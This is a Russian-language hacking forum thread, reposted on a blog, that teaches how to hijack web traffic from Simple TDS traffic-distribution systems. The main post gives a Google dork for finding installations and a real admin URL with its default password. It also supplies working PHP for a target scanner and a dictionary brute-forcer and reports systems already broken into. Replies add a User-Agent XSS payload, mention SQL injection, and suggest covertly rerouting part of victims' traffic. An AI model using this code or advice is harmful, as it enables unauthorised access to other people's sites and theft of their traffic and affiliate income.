вторник, 22 января 2013 г.

Угон трафика с Tds



  #1  
Старый 25.06.2008, 02:25

Аватара для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщения: 795
Провел на форуме:
1 месяц

Репутация: 32 ±



Отправить сообщение для  diehard с помощью ICQ

По умолчанию Угон трафика с Tds


Угон трафика с TDS
на примере Simple TDS

[0] ИНТРО

Ежедневно огромные объемы трафика протекают через множество TDS, но очень часто администраторы TDS (которые по идее должны быть далеко не ламерами) ставят элементарные пароли на админку или вообще оставляют те пароли, которые стояли по умолчанию. Рассмотрим, как можно быстро угнать траф на примере Simple TDS.

[1] ПРЕЦЕДЕНТ

Например, недавно на форуме кто-то поднял вопрос о том, что подцепил вирус, который добавляет свою ссылку http://casinopills.com/ukrainskomu_narodu/ ко всем полям ввода в Internet Explorer.
Ссылка редиректила на casinopills.com/tds/go.php?sid=2 , URL напоминает популярную бесплатную систему управления трафиком Simple TDS, проверим: http://casinopills.com/tds/header.php
Действительно: Simple TDS v1.1beta (free). (No MySQL version). Вход в админку находится по адресу: http://casinopills.com/tds/index.php
При этом человек, запустивший вирус в сеть, почему-то не додумался изменить пароль на вход в админку и оставил дефолтовый. Его можно узнать, если скачать движок данной версии с сайта автора, кстати пароль не изменился до сих пор "112233"

[2] ГУГЛ

Google всегда придет на помощь в поиске уязвимых скриптов и не только, поэтому поможет и сейчас. Что нам нужно - это найти и отпарсить несколько сотен-тысяч ссылок на TDS, поисковый запрос имеет следующий вид: inurl:"go.php?sid="
Парсер выдачи поисковика можно писать самому или найти в инете. В результате получим массив записей вида http://www.host.com/path/go.php?sid=... , отсюда нужно отрезать все начиная с go.php, после чего провести проверку действительно ли это Simple TDS, проверяя содержится ли сигнатура "Simple TDS" в http://www.host.com/path/header.php


PHP код:

 $url trim($urls[$i]);
  
$url substr($url7strlen($url));    //cut "http://"
  
$slash strpos($url"/");         //first slash position
  
$host substr($url0$slash);
  
$path substr($url$slashstrlen($url));
  
$header $path."header.php";
  
$conn fsockopen($host80$errno$errstr10);
  if (
$conn){
    
$out "GET $header HTTP/1.0\r\n";    
    
$out.= "Host: $host\r\n\r\n";
    
fwrite($conn$out);
    
$page="";
    while (!
feof($conn)){
      
$page.= fgets($conn128);
      }
    
fclose($conn);
    if (
strpos($page"Simple TDS")){
      echo 
"<b>SimpleTDS found: $host$header</b> <br>\r\n";
      
flush();
      
$fout fopen($foutput"a");
      
fwrite($fout"$host$path\r\n");
      
fclose($fout);
      
$i++;
      }
    else{
      echo 
"not a tds: $host$header <br>\r\n";
      
flush();
      
$i++;
      }
    }
  else{
    echo 
"Error connection $host Waiting 2 sec <br>\r\n";
    
flush();
    
sleep(2);
    } 


На выходе получаем список URL всех найденых поисковиком TDS.

[3] БРУТФОРС

Прежде чем вести перебор по большим словарям, имеет смысл провести предварительную брут-атаку по дефолтовым паролям, так как часто админы оставляют именно их, не думая, что кому-то всбредет в голову ломиться в их TDS
Итак, составляем небольшой словарик вида

Код:
112233 123456 admin password


После чего напишем функции логина и простейшего брутера по словарю. Например:

PHP код:

 function login($host$path$proxy$pass){ // 0 wrong pass
                 // 1 good pass!
                 // 666 connection error
  
$cont "pass=".urlencode($pass);
  
$check "Simple TDS";
  
$len strlen($cont);
  if (
strlen($proxy)){
    
$pr explode(":"$proxy);
    
$p_host $pr[0];
    
$p_port $pr[1];
    
$conn fsockopen($p_host$p_port$errno$errstr30);
    
$out "POST http://$host$path HTTP/1.0\r\n";    
    
$out.= "Host: $host\r\n";
    
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$out.= "Content-Length: $len\r\n\r\n";
    
$out.= $cont;
    }
  else {
    
$conn fsockopen($host80$errno$errstr30);
    
$out "POST $path HTTP/1.0\r\n";    
    
$out.= "Host: $host\r\n";    
    
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$out.= "Content-Length: $len\r\n\r\n";
    
$out.= $cont;
    }
  if (!
$conn){
    return 
666;
    }
  else{
    
fwrite($conn$out);
    
$ans="";   
    while(!
feof($conn)){ 
      
$ans.=fgets($conn128);   
      }   
    
//echo $ans;
    
fclose($conn);
    if(
strpos($ans$check))
      return 
1
    else return 
0;
  }



PHP код:

 $k=0;

while (
$k<sizeof($urls)){
  
$url trim($urls[$k]);
  
$slash strpos($url"/");         //first slash position
  
$host substr($url0$slash);
  
$path substr($url$slashstrlen($url));

  
$i=0;
  while (
$i<$count){
    
$pass trim($passwords[$i]);
    
$b login($host$path$proxy$pass);
    if       (
$b==666){ 
            
writeln("$host Connection error. Pause 2 seconds..."); sleep(2); 
            } 
      elseif (
$b==0)  { 
            
$i++; 
            
writecurr("$host:$passfile:$i");
            
writelog("trying $host$path:$pass through $proxy - result $b");
            if (
$i%100==0){ 
                
writeln("Tryed ".($i/$count*100)."% ($i of $count)"); 
                
writelog("Tryed ".($i/$count*100)."% ($i of $count)"); 
            }; 
            }
      elseif (
$b==1)  { 
            
writeln("<b>URL: $host$path PASSWORD: $pass</b>"); 
            
writelog("success:$host$path:$pass"); 
            
writegood("$host$path:$pass");
            
writecurr("$host:stop");
            break; 
            }
    }
  if (
$b==0){ writeln("$host$path not brutted"); };
  
$k++;



[4] АУТРО

Пока писалась эта заметка, из 90 загнанных в скрипт TDS-ов уже 4 сдались брутеру, так как имели дефолтовые пароли
Что делать с полученными ТДС, я думаю объяснять не надо, совет может быть такой - не перенаправлять сразу же ауты на свою ТДС, а посмотреть куда льётся трафик, возможно там находится партнерка - и достаточно поменять id партнерки на свой.

P.S. Веб-мастера, следите за своей безопасностью и ставьте сложные пароли!
 
Ответить с цитированием


  #2  
Старый 25.06.2008, 03:44

Аватара для satana8920
satana8920
Палач Античата
Регистрация: 22.09.2006
Сообщения: 611
Провел на форуме:
1 месяц 3 недели

Репутация: 6 ±



Отправить сообщение для  satana8920 с помощью ICQ

По умолчанию


давай склеивай свой мега какирс скрипт и выкладывай полноценный скрипт
статья конечно ничего
но ты описал только одну ТДС (а их огромное количество) так что дописывай статью
+за старания
 
Ответить с цитированием


  #3  
Старый 25.06.2008, 04:36

Аватара для De-visible
De-visible
[NDC] Network develope c0ders
Регистрация: 06.01.2008
Сообщения: 1,110
Провел на форуме:
1 месяц 3 недели 5 дней

Репутация: 56 ±



Отправить сообщение для  De-visible с помощью ICQ

По умолчанию


Цитата:
Сообщение от satana8920  
давай склеивай свой мега какирс скрипт и выкладывай полноценный скрипт
статья конечно ничего
но ты описал только одну ТДС (а их огромное количество) так что дописывай статью
+за старания

а мне было интересно
 
Ответить с цитированием


  #4  
Старый 25.06.2008, 05:37

Аватара для gibson
gibson
Elder - Старейшина
Регистрация: 24.02.2006
Сообщения: 534
Провел на форуме:
1 месяц 1 неделю 3 дня

Репутация: 62 ±



Отправить сообщение для  gibson с помощью ICQ

По умолчанию


мда, из статьи большую часть занимает скрипт брута.
Если бы тс разбирался в сабже, то знал, что в этой тдс полно багов.

Производитель simpletds.com
Продукт Simple TDS v.1.3
info.php -> phpinfo()

active xss
go.php?sid=***
PHP код:

 User-Agent: <script>alert(document.cookie)</script> 


+ еще скули, но т.к. из базы мало что интересного выцепишь, активка самая актуальная.
(c) gibson 0day вроде было когда-то)))

в принцепе согласен с мнениями, что эти тдс еще нужно найти, т.к. никто их не даст индексировать) да и пассы приведенные наврятли будут использовать.


Последний раз редактировалось gibson, 25.06.2008 в 10:52.
 
Ответить с цитированием


  #5  
Старый 25.06.2008, 10:13

Аватара для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщения: 1,513
Провел на форуме:
1 месяц 4 недели 1 день

Репутация: 57 ±



Отправить сообщение для  Piflit с помощью ICQ

По умолчанию


у людей с паролем 112233 трафа на тдс не будет. а если и будет, то максимум через пару часов пасс сменят и вы останетесь ни с чем. так что не актуально имхо
 
Ответить с цитированием


  #6  
Старый 25.06.2008, 11:40

Аватара для zerling
zerling
Новичок
Регистрация: 04.01.2008
Сообщения: 21
Провел на форуме:
6 часов 15 минут 22 секунды

Репутация: 0 ±



По умолчанию


так же в этом плане забавна ТДС Каллисто, в которой нек время назад была серьезная уязвимость в коде авторизации, связанная с перезаписью конфигурационной переменной, хранившей пароль.
Для прикола шарился по админкам нек. хацкеров, но траф не трогал
 
Ответить с цитированием


  #7  
Старый 25.06.2008, 15:40

Аватара для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщения: 795
Провел на форуме:
1 месяц

Репутация: 32 ±



Отправить сообщение для  diehard с помощью ICQ

По умолчанию


Цитата:
Сообщение от parasha  
Вы в начале найдите админку Tds , хакеры блять


http://www.google.com/search?client=opera&rls=ru&q=inurl:%22go.php?sid=%22&sourceid=opera&ie=utf-8&oe=utf-8

Результати 1 – 10 з приблизно 18,100 на запит inurl:"go.php?sid=".

 
Ответить с цитированием


  #8  
Старый 25.06.2008, 15:47

Аватара для x-demon
x-demon
Постоянный
Регистрация: 10.06.2007
Сообщения: 478
Провел на форуме:
1 неделю 3 дня

Репутация: 19 ±


Отправить сообщение для  x-demon с помощью ICQ

По умолчанию


Не обращай на психопата внимание. А статья стоящая. Надо будет свою тдску проверить, и закрыть от индексации.
 
Ответить с цитированием


  #9  
Старый 25.06.2008, 15:49

Аватара для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщения: 795
Провел на форуме:
1 месяц

Репутация: 32 ±



Отправить сообщение для  diehard с помощью ICQ

По умолчанию


Цитата:
Сообщение от gibson  
active xss
go.php?sid=***
PHP код:

 User-Agent: <script>alert(document.cookie)</script> 



+++ Вот это хорошая уязвимость
SQL-inj есть в 1.2, наверное и в 1.3 есть, но толку от них мало
 
Ответить с цитированием


  #10  
Старый 29.06.2008, 22:00

Аватара для otmorozok428
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщения: 152
Провел на форуме:
6 дней 10 часов 53 минуты

Репутация: 10 ±



По умолчанию


Цитата:
Сообщение от diehard  
http://www.google.com/search?client=opera&rls=ru&q=inurl:%22go.php?sid=%22&sourceid=opera&ie=utf-8&oe=utf-8

Результати 1 – 10 з приблизно 18,100 на запит inurl:"go.php?sid=".



Не совсем представительный запрос - он выдаёт не количество TDS, а количество схем на TDS + "мусор". А если сделать запрос inurl:"go.php?sid=1", будет уже совсем другая цифра, хотя тоже, естественно, с некоторой погрешностью... У меня гугль показал: Результаты 1 - 10 из примерно 593 для inurl:"go.php?sid=1". Согласись, совсем другой порядок цифр...


Цитата:
Сообщение от diehard  
Что делать с полученными ТДС, я думаю объяснять не надо, совет может быть такой - не перенаправлять сразу же ауты на свою ТДС, а посмотреть куда льётся трафик, возможно там находится партнерка - и достаточно поменять id партнерки на свой.


Наверное, не самый лучший совет. Админ быстро пропалит отсутствие траффика на схеме (партнерке) и выкинет нас с TDS-ки, заодно поменяв пароль на админку. Всё что мы сможем поиметь в таком случае - это трафик за 1-2 дня, игра не стоит свеч.

Более умным решением было бы внести изменения в код TDS-ки (она же с открытым кодом в конце концов) и НЕЗАМЕТНО перенаправлять ЧАСТЬ трафика (скажем, процентов 20-30) на свои нужды.

Ещё хотелось бы добавить, что Simple TDS - это TDS скорее для начинающих веб-мастеров и наврядли здесь можно будет поднять какие-либо серьёзные объемы трафа.

А так, молодец - тему интересную поднял...
 
Ответить с цитированием


Ответ

Комментариев нет:

Отправить комментарий